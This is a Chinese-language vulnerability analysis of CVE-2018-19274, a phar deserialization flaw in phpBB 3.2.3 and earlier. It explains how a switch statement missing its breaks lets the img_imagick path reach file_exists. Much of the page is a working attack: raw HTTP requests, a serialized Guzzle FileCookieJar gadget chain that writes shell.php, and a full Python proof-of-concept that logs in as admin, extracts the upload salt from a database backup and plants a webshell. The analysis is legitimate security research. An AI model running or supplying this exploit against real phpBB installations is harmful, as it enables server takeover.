(CVE-2018-19274)PhpBB_Phar反序列化远程代码漏洞

# (CVE-2018-19274)PhpBB Phar反序列化远程代码漏洞

一、漏洞简介
————

攻击者若通过社工,弱口令,钓鱼等方式拥有控制管理面板权限,可先前台上传恶意附件,再进入后台控制管理面板利用设置中对路径的验证的功能,结合PHP
phar 反序列化进行php对象注入,构造可用的恶意攻击链,获取Webshell。

二、漏洞影响
————

phpBB v3.2.3及以前的版本

三、复现过程
————

### 漏洞分析

先看触发php phar反序列化漏洞的核心代码如下:

文件位置:`phpBB3/includes/functions_acp.php::validate_config_vars`

![1.png](/static/qingy/(CVE-2018-19274)PhpBB_Phar反序列化远程代码漏洞/img/rId25.png)

通过`file_exists`函数判断`$path`是否存在,此处若可以被我们上传PHAR归档包,文件路径若被我们可知可控,就可以通过`phar://`协议进行反序列化攻击。

### 触发点分析

首先是载入的时候调用`acp_attachments->main()`方法

文件位置:`phpBB3/includes/acp/acp_attachments.php`

![2.png](/static/qingy/(CVE-2018-19274)PhpBB_Phar反序列化远程代码漏洞/img/rId27.png)

关键函数为`validate_config_vars`函数,第一个参数为`$display_vars[‘vars’]`来自上文的系统配置定义:

![3.png](/static/qingy/(CVE-2018-19274)PhpBB_Phar反序列化远程代码漏洞/img/rId28.png)

第二个参数通过`$_REQUEST`接收,post发送数组参数`config`,被赋值成为`$cfg_array`

两个参数传入`validate_config_vars`函数,继续跟进。

文件位置:`phpBB3/includes/functions_acp.php`

![4.png](/static/qingy/(CVE-2018-19274)PhpBB_Phar反序列化远程代码漏洞/img/rId29.png)

进入函数后使用`foreach`对`$config_vars`进行遍历,键名为`$config_name`,键值为`$config_definition`。

先对`$cfg_array`进行判断,也就是post数组中必须有和系统配置数组相同的键名的数组;然后又对键值的判断是否存在`$config_definition[‘validate’]`。两个条件需要同时满足,不满足就跳过此变量循环,存在就对`$config_definition[‘validate’]`进行分割为数组,并取第0个参数传进`switch`进行匹配,可以发现利用点在`wpath`分支里:

![5.png](/static/qingy/(CVE-2018-19274)PhpBB_Phar反序列化远程代码漏洞/img/rId30.png)

满足上文两条件并且`$validator[$type]==wpath`才能进入分支,对系统配置数组进行筛选,暂时发现只有键名为`upload_path`的数组满足条件。

但是在进入路径判断前有一个三元运算

$path = in_array($config_definition[‘validate’], array(‘wpath’, ‘path’, ‘rpath’, ‘rwpath’)) ? $phpbb_root_path . $cfg_array[$config_name] : $cfg_array[$config_name];

经过判断`$config_definition[‘validate’]`在数组之中,所以会走第一个分支,`$cfg_array[$config_name]`就是post数组变量,此处可控,但是会和`$phpbb_root_path`进行拼接。文件位置:`phpBB3/adm/index.php`

![6.png](/static/qingy/(CVE-2018-19274)PhpBB_Phar反序列化远程代码漏洞/img/rId31.png)

因此拼接后的`$path`会变成`./../xxxxxxxxxx`,路径出错无法利用,如下。

![7.png](/static/qingy/(CVE-2018-19274)PhpBB_Phar反序列化远程代码漏洞/img/rId32.png)

但是这里的整个`switch`语句犯了一个较为低级的错误,部分条件的语句段没有使用`break`进行结束。

`switch`执行方式:开始时没有代码被执行。仅当一个 `case`语句中的值和
`switch`表达式的值匹配时 PHP
才开始执行语句,直到`switch`的程序段结束或者遇到第一个`break`
语句为止。如果不在`case`的语句段最后写上`break`的话,PHP
将继续执行下一个`case`中的语句段。

![8.png](/static/qingy/(CVE-2018-19274)PhpBB_Phar反序列化远程代码漏洞/img/rId33.png)

因此需要在`$config_vars`找到一个元素`$config_definition`,并且`$config_definition[‘validate’]`等于`absolute_path`或者`absolute_path_writable`或者`path`,这样就能即进入`wpath`执行也不增加`$path`的前缀

使用如下代码过滤:

foreach ($display_vars[‘vars’] as $key =>$value){
if (($value[‘validate’] === ‘absolute_path’) or ($value[‘validate’] === ‘absolute_path_writable’) or ($value[‘validate’] === ‘path’)){
print(’66’.$key.’77’);
}
}

发现`img_imagick`元素满足条件:

![9.png](/static/qingy/(CVE-2018-19274)PhpBB_Phar反序列化远程代码漏洞/img/rId34.png)

进入控制面板的附件设定,提交并该修改数据包

![10.png](/static/qingy/(CVE-2018-19274)PhpBB_Phar反序列化远程代码漏洞/img/rId35.png)

数据包如下,关键点为`config[img_imagick]`参数:

POST /phpBB3/adm/index.php?i=acp_attachments&mode=attach&sid=385d5172c29a3a9530d6b467a5691ffd HTTP/1.1
Host: www.0-sec.org
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 967

config%5Ballow_attachments%5D=1&config%5Ballow_pm_attach%5D=0&config%5Bupload_path%5D=files&config%5Bdisplay_order%5D=0&config%5Battachment_quota%5D=50&attachment_quota=mb&config%5Bmax_filesize%5D=256&max_filesize=kb&config%5Bmax_filesize_pm%5D=256&max_filesize_pm=kb&config%5Bmax_attachments%5D=3&config%5Bmax_attachments_pm%5D=1&config%5Bsecure_downloads%5D=0&config%5Bsecure_allow_deny%5D=1&config%5Bsecure_allow_empty_referer%5D=1&config%5Bcheck_attachment_content%5D=1&config%5Bimg_display_inlined%5D=1&config%5Bimg_create_thumbnail%5D=0&config%5Bimg_max_thumb_width%5D=400&config%5Bimg_min_thumb_filesize%5D=12000&config%5Bimg_imagick%5D=phar://../files/plupload/c2f830acec21b6d3a45ff0f5b3f35273_5de5caf862ea58bbb27aff231f06c7f3zip.part/&config%5Bimg_max_width%5D=0&config%5Bimg_max_height%5D=0&config%5Bimg_link_width%5D=0&config%5Bimg_link_height%5D=0&submit=Submit&ips=&ipexclude=0&creation_time=1552465991&form_token=0910a5dc9a13fc50a0ead4656617642fa80daaf1

此时已经可以触发反序列化,还需上传包含利用链的恶意附件。

### 上传恶意附件

上传位置为前台发帖附件处:

![11.png](/static/qingy/(CVE-2018-19274)PhpBB_Phar反序列化远程代码漏洞/img/rId37.png)

处理文件上传的关键函数,以及函数调用栈:

文件位置:`phpBB3/phpbb/plupload/plupload.php`

![12.png](/static/qingy/(CVE-2018-19274)PhpBB_Phar反序列化远程代码漏洞/img/rId38.png)

在这里函数handle\_upload可以实现多个`chunk`处理。`$this->request->variable`函数根据键名从请求中获取值,首先获取`chunks`的值,并判断`chunk`是否小于2,如果小于就直接返回,如果大于就开始进行多`chunk`处理。

然后进入关键的`temporary_filepath`函数:

![13.png](/static/qingy/(CVE-2018-19274)PhpBB_Phar反序列化远程代码漏洞/img/rId39.png)

这个就是计算上传文件路径的函数,`$this->temporary_directory`可知为`./files/plupload`,`$file_name`可控,`\phpbb\files\filespec::get_extension($file_name)`获取文件的后缀同样可控,比较麻烦的是`$this->config[‘plupload_salt’]`存在于数据库中,但可以在管理面板中通过备份进行获取。

![14.png](/static/qingy/(CVE-2018-19274)PhpBB_Phar反序列化远程代码漏洞/img/rId40.png)

`plupload_salt`如下

![15.png](/static/qingy/(CVE-2018-19274)PhpBB_Phar反序列化远程代码漏洞/img/rId41.png)

此时已经完全可以计算路径

./files/plupload/c2f830acec21b6d3a45ff0f5b3f35273_5de5caf862ea58bbb27aff231f06c7f3zip

然后进入函数进行文件写入

![16.png](/static/qingy/(CVE-2018-19274)PhpBB_Phar反序列化远程代码漏洞/img/rId42.png)

中途会产生一个临时文件,但后面会删除,最后文件名还会增加`.part`后缀。

./files/plupload/c2f830acec21b6d3a45ff0f5b3f35273_5de5caf862ea58bbb27aff231f06c7f3zip.part

攻击数据包如下:

POST /phpBB3/posting.php?mode=post&f=2&sid=a3f8b226bd4ad508d8838284c0cfc332 HTTP/1.1
Host: www.0-sec.org
Content-Length: 1909
Origin: http://bugtest.com
x-requested-with: XMLHttpRequest
x-phpbb-using-plupload: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryuHMhmTMPyBMwbiEg
Accept: */*
Referer: http://bugtest.com/phpBB3/posting.php?mode=post&f=2&sid=52c63bf06fdeaef60de9b8fba1de97ad
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

——WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name=”name”

rai4over.zip
——WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name=”chunk”

0
——WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name=”chunks”

3
——WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name=”add_file”

Add the file
——WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name=”real_filename”

payload.phar.zip
——WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name=”attachment_data[0][attach_id]”

16
——WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name=”attachment_data[0][is_orphan]”

1
——WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name=”attachment_data[0][real_filename]”

payload.zip
——WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name=”attachment_data[0][attach_comment]”

——WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name=”attachment_data[0][filesize]”

35802
——WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name=”fileupload”; filename=”payload.phar.zip”
Content-Type: application/zip


ÕO:31:”GuzzleHttp\Cookie\FileCookieJar”:4:{s:41:”GuzzleHttp\Cookie\FileCookieJarfilename”;s:42:”/Applications/MAMP/htdocs/phpBB3/shell.php”;s:52:”GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies”;b:1;s:36:”GuzzleHttp\Cookie\CookieJarcookies”;a:1:{i:0;O:27:”GuzzleHttp\Cookie\SetCookie”:1:{s:33:”GuzzleHttp\Cookie\SetCookiedata”;a:3:{s:7:”Expires”;i:1;s:7:”Discard”;b:0;s:5:”Value”;s:18:”“;}}}s:39:”GuzzleHttp\Cookie\CookieJarstrictMode”;N;}test.txtöìˆ\~ضtest¨~ê’÷z]©ägž­4GBMB
——WebKitFormBoundaryuHMhmTMPyBMwbiEg–

至此我们已经对上传文件路径内容可知可控,还恶意文件中的利用链。

### 利用链

利用PHP网络请求插件Guzzle完成反序列化利用。

文件位置:`phpBB3/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php`

![17.png](/static/qingy/(CVE-2018-19274)PhpBB_Phar反序列化远程代码漏洞/img/rId44.png)

析构函数调用`save`函数,最后使用`file_put_contents`完成文件写入,整个漏洞利用完成。

### poc

# coding =utf-8

import requests
from bs4 import BeautifulSoup
import re

proxies = {
“http”: “http://127.0.0.1:8080”,
}

import hashlib

def md5(str):
m = hashlib.md5()
m.update(str.encode(“utf8”))
return m.hexdigest()

if __name__ == ‘__main__’:
target = “http://bugtest.com/phpBB3”
admin_account = ‘admin’
admin_pwd = ‘123456’
phar_payload = ‘payload.phar.zip’
upfilename = ‘rai4over.zip’

r = requests.Session()
data = {
‘username’: admin_account,
‘password’: admin_pwd,
‘login’: ‘Login’
}
print(‘Start logging in to the administrator account’)
rs = r.post(target + ‘/ucp.php?mode=login’, data=data)
html = rs.text

if (‘header-profile dropdown-container’ in html) and (“class=\”username-coloured\”>” + admin_account in html):
print(‘OK! The administrator account is successfully logged in’)
else:
exit(‘No! Login failed . Probably because of the verification code’)

soup = BeautifulSoup(html, “html.parser”)
input = soup.find(‘input’, attrs={‘name’: ‘sid’})
sid = input[‘value’]

file = {
‘fileupload’: open(phar_payload, “rb”).read()

}
data = {
‘name’: upfilename,
‘chunk’: 0,
‘chunks’: 3,
‘add_file’: ‘Add the file’,
‘real_filename’: ‘payload.phar.zip’
}
rs = r.post(target + ‘/posting.php?mode=post&f=2&sid=’ + sid, files=file, data=data)
if ‘jsonrpc’ not in rs.text:
exit(‘Upload fail’)
else:
print(‘Uploading malicious file successfully’)

Admin_Control = target + ‘/adm/index.php?sid=’ + sid
print(“Get Administration Control Panel URL :” + Admin_Control)

rs = r.get(Admin_Control)
html = rs.text
soup = BeautifulSoup(html, “html.parser”)
input = soup.find(‘input’, attrs={‘type’: ‘password’})
passwd_id = input[‘id’]
credential = soup.find(‘input’, attrs={‘name’: ‘credential’})
credential = credential[‘value’]
data = {
‘username’: admin_account,
passwd_id: admin_pwd,
‘login’: ‘Login’,
‘redirect’: ‘./../adm/index.php’,
‘credential’: credential
}
rs = r.post(target + ‘/adm/index.php?sid=’ + sid, data=data)
html = rs.text
if ‘ACP index‘ in html:
print(‘Administration Control Panel login successful’)

soup = BeautifulSoup(html, “html.parser”)
div = soup.find(‘div’, attrs={‘id’: ‘page-header’})
sid = div.a[‘href’][-32:]

rs = r.get(target + ‘/adm/index.php?i=acp_database&mode=backup&sid=’ + sid)
html = rs.text
soup = BeautifulSoup(html, “html.parser”)
input = soup.find(‘input’, attrs={‘name’: ‘form_token’})
form_token = input[‘value’]
input = soup.find(‘input’, attrs={‘name’: ‘creation_time’})
creation_time = input[‘value’]

data = “type=data&method=text&where=download&table%5B%5D=phpbb_config&submit=Submit&creation_time={creation_time}&form_token={form_token}”.format(
creation_time=creation_time, form_token=form_token)
rs = r.post(target + ‘/adm/index.php?i=acp_database&mode=backup&action=download&sid=’ + sid, data=data,
headers={“Content-Type”: “application/x-www-form-urlencoded”, “Connection”: “close”,
“Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3″})
html = rs.text
if ‘phpBB Backup Script’ in html:
print(‘Database download succeeded’)
matchObj = re.search(r”\(‘plupload_salt’, ‘(.*?)’, 0\)”, html, re.M | re.I)
if matchObj:
plupload_salt = matchObj.group(1)
print(‘Get the plupload_salt successfully :{plupload_salt}’.format(plupload_salt=plupload_salt))
else:
exit(‘Get the plupload_salt failed’)
else:
exit(‘Database download failed’)
print(‘Calculate the name of the phar’)

name = “{plupload_salt}_{md5name}zip.part”.format(plupload_salt=plupload_salt, md5name=md5(upfilename))

rs = r.get(target + ‘/adm/index.php?i=acp_attachmenpartts&mode=attach&sid=’ + sid)
html = rs.text
soup = BeautifulSoup(html, “html.parser”)
input = soup.find(‘input’, attrs={‘name’: ‘form_token’})
form_token = input[‘value’]
print(“Get form_token from Attachment settings:{form_token}”.format(form_token=form_token))

data = “config%5Ballow_attachments%5D=1&config%5Ballow_pm_attach%5D=0&config%5Bupload_path%5D=files&config%5Bdisplay_order%5D=0&config%5Battachment_quota%5D=50&attachment_quota=mb&config%5Bmax_filesize%5D=256&max_filesize=kb&config%5Bmax_filesize_pm%5D=256&max_filesize_pm=kb&config%5Bmax_attachments%5D=3&config%5Bmax_attachments_pm%5D=1&config%5Bsecure_downloads%5D=0&config%5Bsecure_allow_deny%5D=1&config%5Bsecure_allow_empty_referer%5D=1&config%5Bcheck_attachment_content%5D=1&config%5Bimg_display_inlined%5D=1&config%5Bimg_create_thumbnail%5D=0&config%5Bimg_max_thumb_width%5D=400&config%5Bimg_min_thumb_filesize%5D=12000&config%5Bimg_imagick%5D={upfile}&config%5Bimg_max_width%5D=0&config%5Bimg_max_height%5D=0&config%5Bimg_link_width%5D=0&config%5Bimg_link_height%5D=0&submit=Submit&ips=&ipexclude=0&creation_time=1552465991&form_token={form_token}”.format(
form_token=form_token,
upfile=’phar://../files/plupload/’ + name)
rs = r.post(target + ‘/adm/index.php?i=acp_attachments&mode=attach&sid=’ + sid, data=data)
print(‘Get webshell succeeded’)

参考链接
——–

> https://xz.aliyun.com/t/8239\#toc-3

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容